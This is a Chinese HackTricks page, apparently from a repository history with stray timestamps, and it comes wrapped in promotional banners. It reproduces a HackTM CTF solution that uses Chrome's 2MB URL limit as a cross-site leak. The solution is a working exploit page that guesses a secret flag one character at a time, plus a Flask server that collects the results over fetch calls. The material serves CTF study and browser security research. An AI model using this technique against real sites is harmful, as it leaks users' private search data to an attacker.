2024-02-07 04:49:09 +00:00
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# URL最大长度-客户端
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2023-03-05 22:20:47 +00:00
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<details>
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2024-02-09 02:09:47 +00:00
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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2023-03-05 22:20:47 +00:00
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2024-02-09 02:09:47 +00:00
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* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
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* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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2024-02-07 04:49:09 +00:00
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* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
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2024-02-09 02:09:47 +00:00
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向**hacktricks仓库**（https://github.com/carlospolop/hacktricks）**和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
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2023-03-05 22:20:47 +00:00
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</details>
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2024-02-07 04:49:09 +00:00
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来自[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
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2023-03-05 22:20:47 +00:00
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```html
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<html>
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<body></body>
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<script>
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2023-08-03 19:12:22 +00:00
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(async () => {
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const curr = "http://secrets.wtl.pw/search?query=HackTM{"
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const leak = async (char) => {
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fetch("/?try=" + char)
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let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
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const check = async () => {
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try {
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w.origin
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} catch {
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fetch("/?nope=" + char)
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return
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}
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setTimeout(check, 100)
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}
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check()
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}
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const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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for (let i = 0; i < CHARSET.length; i++) {
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leak(CHARSET[i])
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await new Promise(resolve => setTimeout(resolve, 50))
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}
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})()
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2023-03-05 22:20:47 +00:00
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</script>
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</html>
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```
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2023-08-03 19:12:22 +00:00
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服务器端：
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2023-03-05 22:20:47 +00:00
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```python
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from flask import Flask, request
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app = Flask(__name__)
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CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
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chars = []
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@app.route('/', methods=['GET'])
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def index():
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global chars
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2023-03-05 22:20:47 +00:00
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2023-08-03 19:12:22 +00:00
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nope = request.args.get('nope', '')
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if nope:
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chars.append(nope)
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2023-03-05 22:20:47 +00:00
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2023-08-03 19:12:22 +00:00
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remaining = [c for c in CHARSET if c not in chars]
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2023-03-05 22:20:47 +00:00
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2023-08-03 19:12:22 +00:00
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print("Remaining: {}".format(remaining))
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return "OK"
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2023-03-05 22:20:47 +00:00
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@app.route('/exploit.html', methods=['GET'])
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def exploit():
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2023-08-03 19:12:22 +00:00
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return open('exploit.html', 'r').read()
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2023-03-05 22:20:47 +00:00
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if __name__ == '__main__':
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2023-08-03 19:12:22 +00:00
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app.run(host='0.0.0.0', port=1337)
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2023-03-05 22:20:47 +00:00
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```
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<details>
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2024-02-09 02:09:47 +00:00
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
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2023-03-05 22:20:47 +00:00
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2024-02-09 02:09:47 +00:00
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* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks中被宣传**吗？或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
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* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享你的黑客技巧。
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2023-03-05 22:20:47 +00:00
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</details>
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